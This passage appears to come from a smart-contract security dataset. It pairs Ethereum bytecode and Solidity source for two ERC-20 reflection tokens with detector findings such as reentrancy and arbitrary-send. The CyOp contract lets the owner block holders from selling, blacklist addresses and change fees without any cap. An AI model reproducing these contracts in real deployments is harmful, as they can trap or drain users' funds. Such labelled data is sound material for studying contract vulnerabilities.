bbce58b63dce7219d77b55ca2eeb9455507919d3aac0638b866040518082815260200191505060405180910390a48373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f0a85107a334eae0d22d21cdf13af0f8e8125039ec60baaa843d2c4c5b0680174856040518082815260200191505060405180910390a3600190509392505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b6000808284811515613e1a57fe5b04905080915050929150505600a165627a7a72305820f74cad0b590b9077cc816ea87c5f076e7a1daa047217861377ba15b40811c3110029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
10,280
0xbadDbe8281c6695ecD1CDF3E6496eb2DaD567cab
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CyOpProtocol is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100e12 * 10**9; //100 trillion uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public zeroFee; //0% uint256 public treasury1Fee = 4; //4% uint256 public treasury2Fee = 6; //6% uint256 public protocolFee = 10; //gowth hacking(4%) + protocol(6%) uint256 private prevProtocolFee; //gowth hacking(4%) + protocol(6%) address payable public treasury1; //4% address payable public treasury2; //6% string private constant _name = "CyOp | Protocol"; string private constant _symbol = "CyOp"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private inSwap; bool public sellingEnabled; uint256 public contractStartTime; uint256 public maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint maxTxAmount); event SellingEnabled(bool enabled); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address _treasury1, address _treasury2) { uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); treasury1 = payable(_treasury1); treasury2 = payable(_treasury2); contractStartTime = block.timestamp; _rOwned[_msgSender()] = _rTotal; isExcludedFromFee[owner()] = true; isExcludedFromFee[address(this)] = true; isExcludedFromFee[treasury1] = true; isExcludedFromFee[treasury2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); require (owner == Ownable.owner() || (sellingEnabled && block.timestamp > contractStartTime + 20 minutes), "Selling is disabled."); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); require(amount <= maxTxAmount); uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && contractTokenBalance > 0) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToTreasury(contractETHBalance); } } } bool takeFee = true; //if any account belongs to isExcludedFromFee account then remove the fee if(isExcludedFromFee[from] || isExcludedFromFee[to]){ takeFee = false; } if(!takeFee) removeAllFee(); _tokenTransfer(from,to,amount); if(!takeFee) restoreAllFee(); } function removeAllFee() private { if(protocolFee == 0) return; prevProtocolFee = protocolFee; protocolFee = 0; } function restoreAllFee() private { protocolFee = prevProtocolFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToTreasury(uint256 amount) private { treasury1.transfer((amount.mul(treasury1Fee).mul(100).div(protocolFee)).div(100)); treasury2.transfer((amount.mul(treasury2Fee).mul(100).div(protocolFee)).div(100)); } function setFee(uint256 _treasury1Fee, uint256 _treasury2Fee) public onlyOwner { treasury1Fee = _treasury1Fee; treasury2Fee = _treasury2Fee; protocolFee = treasury1Fee + treasury2Fee; } function updateTreasury(address _treasury1, address _treasury2) public onlyOwner { treasury1 = payable(_treasury1); treasury2 = payable(_treasury2); } function excludeFromFee(address account) public onlyOwner { isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { isExcludedFromFee[account] = false; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } //in percentages function setMaxTxLimit(uint256 _maxPercent) public onlyOwner { maxTxAmount = (_tTotal * _maxPercent) / 100; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function enableSelling(bool enabled) external onlyOwner { sellingEnabled = enabled; emit SellingEnabled(enabled); } function setPairAddress(address _uniswapV2Pair) external onlyOwner { uniswapV2Pair = _uniswapV2Pair; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tProtocol) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeProtocol(tProtocol); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeProtocol(uint256 tProtocol) private { uint256 currentRate = _getRate(); uint256 rProtocol = tProtocol.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rProtocol); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswapTreasury() external { require(_msgSender() == treasury1 || _msgSender() == treasury2); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); manualsend(); } function manualsend() internal { uint256 contractETHBalance = address(this).balance; sendETHToTreasury(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tProtocol) = _getTValues(tAmount, zeroFee, protocolFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tProtocol, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tProtocol); } function _getTValues(uint256 _tAmount, uint256 taxFee, uint256 _protocolFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = _tAmount.mul(taxFee).div(100); uint256 tProtocol = _tAmount.mul(_protocolFee).div(100); uint256 tTransferAmount = _tAmount.sub(tFee).sub(tProtocol); return (tTransferAmount, tFee, tProtocol); } function _getRValues(uint256 _tAmount, uint256 _tFee, uint256 _tProtocol, uint256 _currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = _tAmount.mul(_currentRate); uint256 rFee = _tFee.mul(_currentRate); uint256 rProtocol = _tProtocol.mul(_currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rProtocol); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101e75760003560e01c8063806e35a711610102578063b515566a11610095578063ea2f0b3711610064578063ea2f0b37146105bd578063f2fde38b146105dd578063f771cb65146105fd578063fc24e8f21461061e57600080fd5b8063b515566a14610521578063bc9323c314610541578063dd62ed3e14610557578063e5d1d2601461059d57600080fd5b8063a22d4832116100d1578063a22d4832146104b5578063a9059cbb146104d5578063b0e21e8a146104f5578063b20772171461050b57600080fd5b8063806e35a71461043f5780638c0b5e22146104545780638da5cb5b1461046a57806395d89b411461048857600080fd5b8063313ce5671161017a57806364f5a5bb1161014957806364f5a5bb146103ca57806366551ed6146103ea57806370a082311461040a578063715018a61461042a57600080fd5b8063313ce5671461033e578063437823ec1461035a57806352f7c9881461037a5780635342acb41461039a57600080fd5b806318160ddd116101b657806318160ddd146102c957806323b872dd146102e6578063273123b7146103065780632bd182d31461032857600080fd5b806306fdde03146101f3578063095ea7b31461023d5780630c3d51571461026d578063129f55021461029157600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b5060408051808201909152600f81526e10de53dc081f08141c9bdd1bd8dbdb608a1b60208201525b6040516102349190611985565b60405180910390f35b34801561024957600080fd5b5061025d61025836600461183a565b61063e565b6040519015158152602001610234565b34801561027957600080fd5b5061028360115481565b604051908152602001610234565b34801561029d57600080fd5b50600d546102b1906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156102d557600080fd5b5069152d02c7e14af6800000610283565b3480156102f257600080fd5b5061025d6103013660046117fa565b610655565b34801561031257600080fd5b5061032661032136600461178a565b6106be565b005b34801561033457600080fd5b5061028360085481565b34801561034a57600080fd5b5060405160098152602001610234565b34801561036657600080fd5b5061032661037536600461178a565b610712565b34801561038657600080fd5b50610326610395366004611964565b610760565b3480156103a657600080fd5b5061025d6103b536600461178a565b60046020526000908152604090205460ff1681565b3480156103d657600080fd5b506103266103e536600461194c565b6107a5565b3480156103f657600080fd5b5061032661040536600461192c565b6107f5565b34801561041657600080fd5b5061028361042536600461178a565b610877565b34801561043657600080fd5b50610326610899565b34801561044b57600080fd5b506103266108cf565b34801561046057600080fd5b5061028360125481565b34801561047657600080fd5b506000546001600160a01b03166102b1565b34801561049457600080fd5b50604080518082019091526004815263043794f760e41b6020820152610227565b3480156104c157600080fd5b506103266104d036600461178a565b61092e565b3480156104e157600080fd5b5061025d6104f036600461183a565b61097a565b34801561050157600080fd5b50610283600b5481565b34801561051757600080fd5b50610283600a5481565b34801561052d57600080fd5b5061032661053c366004611865565b610987565b34801561054d57600080fd5b5061028360095481565b34801561056357600080fd5b506102836105723660046117c2565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105a957600080fd5b50600e546102b1906001600160a01b031681565b3480156105c957600080fd5b506103266105d836600461178a565b610a2b565b3480156105e957600080fd5b506103266105f836600461178a565b610a76565b34801561060957600080fd5b5060105461025d90600160a81b900460ff1681565b34801561062a57600080fd5b506103266106393660046117c2565b610b0e565b600061064b338484610b66565b5060015b92915050565b6000610662848484610d0a565b6106b484336106af85604051806060016040528060288152602001611b48602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610f80565b610b66565b5060019392505050565b6000546001600160a01b031633146106f15760405162461bcd60e51b81526004016106e8906119d8565b60405180910390fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b0316331461073c5760405162461bcd60e51b81526004016106e8906119d8565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b0316331461078a5760405162461bcd60e51b81526004016106e8906119d8565b6009829055600a81905561079e8183611a7d565b600b555050565b6000546001600160a01b031633146107cf5760405162461bcd60e51b81526004016106e8906119d8565b60646107e58269152d02c7e14af6800000611ab5565b6107ef9190611a95565b60125550565b6000546001600160a01b0316331461081f5760405162461bcd60e51b81526004016106e8906119d8565b60108054821515600160a81b0260ff60a81b199091161790556040517f0bb99188304c24e0ea5c192120ef190004866b1d3d491af335dca78ee222c1c69061086c90831515815260200190565b60405180910390a150565b6001600160a01b03811660009081526001602052604081205461064f90610fba565b6000546001600160a01b031633146108c35760405162461bcd60e51b81526004016106e8906119d8565b6108cd600061103e565b565b600d546001600160a01b0316336001600160a01b031614806109045750600e546001600160a01b0316336001600160a01b0316145b61090d57600080fd5b600061091830610877565b90506109238161108e565b61092b611233565b50565b6000546001600160a01b031633146109585760405162461bcd60e51b81526004016106e8906119d8565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b600061064b338484610d0a565b6000546001600160a01b031633146109b15760405162461bcd60e51b81526004016106e8906119d8565b60005b8151811015610a27576001600560008484815181106109e357634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610a1f81611aeb565b9150506109b4565b5050565b6000546001600160a01b03163314610a555760405162461bcd60e51b81526004016106e8906119d8565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b03163314610aa05760405162461bcd60e51b81526004016106e8906119d8565b6001600160a01b038116610b055760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106e8565b61092b8161103e565b6000546001600160a01b03163314610b385760405162461bcd60e51b81526004016106e8906119d8565b600d80546001600160a01b039384166001600160a01b031991821617909155600e8054929093169116179055565b6001600160a01b038316610bc85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106e8565b6001600160a01b038216610c295760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106e8565b6000546001600160a01b0384811691161480610c665750601054600160a81b900460ff168015610c665750601154610c63906104b0611a7d565b42115b610ca95760405162461bcd60e51b815260206004820152601460248201527329b2b63634b7339034b9903234b9b0b13632b21760611b60448201526064016106e8565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d6e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106e8565b6001600160a01b038216610dd05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106e8565b60008111610e325760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106e8565b6000546001600160a01b03848116911614801590610e5e57506000546001600160a01b03838116911614155b15610f07576001600160a01b03831660009081526005602052604090205460ff16158015610ea557506001600160a01b03821660009081526005602052604090205460ff16155b610eae57600080fd5b601254811115610ebd57600080fd5b6000610ec830610877565b601054909150600160a01b900460ff16158015610ee55750600081115b15610f0557610ef38161108e565b478015610f0357610f0381611239565b505b505b6001600160a01b03831660009081526004602052604090205460019060ff1680610f4957506001600160a01b03831660009081526004602052604090205460ff165b15610f52575060005b80610f5f57610f5f6112fc565b610f6a848484611312565b80610f7a57610f7a600c54600b55565b50505050565b60008184841115610fa45760405162461bcd60e51b81526004016106e89190611985565b506000610fb18486611ad4565b95945050505050565b60006006548211156110215760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106e8565b600061102b611322565b90506110378382611345565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6010805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110e457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561113857600080fd5b505afa15801561114c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061117091906117a6565b8160018151811061119157634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f546111b79130911684610b66565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111f0908590600090869030904290600401611a0d565b600060405180830381600087803b15801561120a57600080fd5b505af115801561121e573d6000803e3d6000fd5b50506010805460ff60a01b1916905550505050565b4761092b815b600d54600b546009546001600160a01b03909216916108fc9161127891606491611272918290849061126c908a90611387565b90611387565b90611345565b6040518115909202916000818181858888f193505050501580156112a0573d6000803e3d6000fd5b50600e54600b54600a546001600160a01b03909216916108fc916112d491606491611272918290849061126c908a90611387565b6040518115909202916000818181858888f19350505050158015610a27573d6000803e3d6000fd5b600b5461130557565b600b8054600c5560009055565b61131d838383611406565b505050565b600080600061132f6114fd565b909250905061133e8282611345565b9250505090565b600061103783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611541565b6000826113965750600061064f565b60006113a28385611ab5565b9050826113af8583611a95565b146110375760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106e8565b6000806000806000806114188761156f565b6001600160a01b038f16600090815260016020526040902054959b5093995091975095509350915061144a90876115cc565b6001600160a01b03808b1660009081526001602052604080822093909355908a1681522054611479908661160e565b6001600160a01b03891660009081526001602052604090205561149b8161166d565b6114a584836116b7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114ea91815260200190565b60405180910390a3505050505050505050565b600654600090819069152d02c7e14af680000061151a8282611345565b8210156115385750506006549269152d02c7e14af680000092509050565b90939092509050565b600081836115625760405162461bcd60e51b81526004016106e89190611985565b506000610fb18486611a95565b600080600080600080600080600061158c8a600854600b546116db565b925092509250600061159c611322565b905060008060006115af8e87878761172a565b919e509c509a509598509396509194505050505091939550919395565b600061103783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f80565b60008061161b8385611a7d565b9050838110156110375760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106e8565b6000611677611322565b905060006116858383611387565b306000908152600160205260409020549091506116a2908261160e565b30600090815260016020526040902055505050565b6006546116c490836115cc565b6006556007546116d4908261160e565b6007555050565b60008080806116ef60646112728989611387565b9050600061170260646112728a89611387565b9050600061171a826117148b866115cc565b906115cc565b9992985090965090945050505050565b60008080806117398886611387565b905060006117478887611387565b905060006117558888611387565b905060006117678261171486866115cc565b939b939a50919850919650505050505050565b803561178581611b32565b919050565b60006020828403121561179b578081fd5b813561103781611b32565b6000602082840312156117b7578081fd5b815161103781611b32565b600080604083850312156117d4578081fd5b82356117df81611b32565b915060208301356117ef81611b32565b809150509250929050565b60008060006060848603121561180e578081fd5b833561181981611b32565b9250602084013561182981611b32565b929592945050506040919091013590565b6000806040838503121561184c578182fd5b823561185781611b32565b946020939093013593505050565b60006020808385031215611877578182fd5b823567ffffffffffffffff8082111561188e578384fd5b818501915085601f8301126118a1578384fd5b8135818111156118b3576118b3611b1c565b8060051b604051601f19603f830116810181811085821117156118d8576118d8611b1c565b604052828152858101935084860182860187018a10156118f6578788fd5b8795505b8386101561191f5761190b8161177a565b8552600195909501949386019386016118fa565b5098975050505050505050565b60006020828403121561193d578081fd5b81358015158114611037578182fd5b60006020828403121561195d578081fd5b5035919050565b60008060408385031215611976578182fd5b50508035926020909101359150565b6000602080835283518082850152825b818110156119b157858101830151858201604001528201611995565b818111156119c25783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611a5c5784516001600160a01b031683529383019391830191600101611a37565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a9057611a90611b06565b500190565b600082611ab057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611acf57611acf611b06565b500290565b600082821015611ae657611ae6611b06565b500390565b6000600019821415611aff57611aff611b06565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461092b57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d854dae0de48640693d3d09e9a560a9f7eb8d0c88f49c9ce03a103686fb7a5fa64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,281
0x01ff97dBc7432e4D3b036Eb1962dB20e76C9Bafd
/** /\ /\ / \---._ / / ` `\ \ \ `'<@)@) /` ~ ~._ / `() / \ (` ,_.:. / / ~ `\ (vVvvvvV / |`\_ `^^^/ ___/________|_ `---' (___L_O_K_I____) _ _/~ | `(_) _/~ \ _/~ | _/~ | _/~ | _/~ ~. | _/~ \ /\ __/~ /`\ `|| _/~ ~~-._ /~ \ || /~ ~./~' \ |) / ~. \ )| / : | || | : | || | .' | || __.-` __.'--. | |`---. .-~ ___. __.--~`--.)))) | `---.))) `---~~ `-...--.________))))) \_____))))) // ______ ______ _____ ____________ ______ __ // ___ / _________ /____(_) ____ _/__ | / /_ / / / // __ / _ __ \_ //_/_ / __ / __ |/ /_ / / / // _ /___/ /_/ / ,< _ / __/ / _ /| / / /_/ / // /_____/\____//_/|_| /_/ /___/ /_/ |_/ \____/ // */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract LokiInuToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Loki Inu"; string private constant _symbol = "LOKI"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 9; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x24E0413bAA2f495F99C0B6407C0555ABC3E1bfeC); address payable private _marketingAddress = payable(0x24E0413bAA2f495F99C0B6407C0555ABC3E1bfeC); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 25000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, 